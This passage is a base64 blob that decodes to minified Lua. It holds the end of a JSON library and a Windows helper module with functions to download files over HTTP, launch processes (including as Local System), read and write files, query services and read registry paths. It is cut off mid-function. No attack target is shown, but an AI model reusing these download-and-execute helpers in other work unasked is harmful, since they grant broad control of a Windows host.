TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
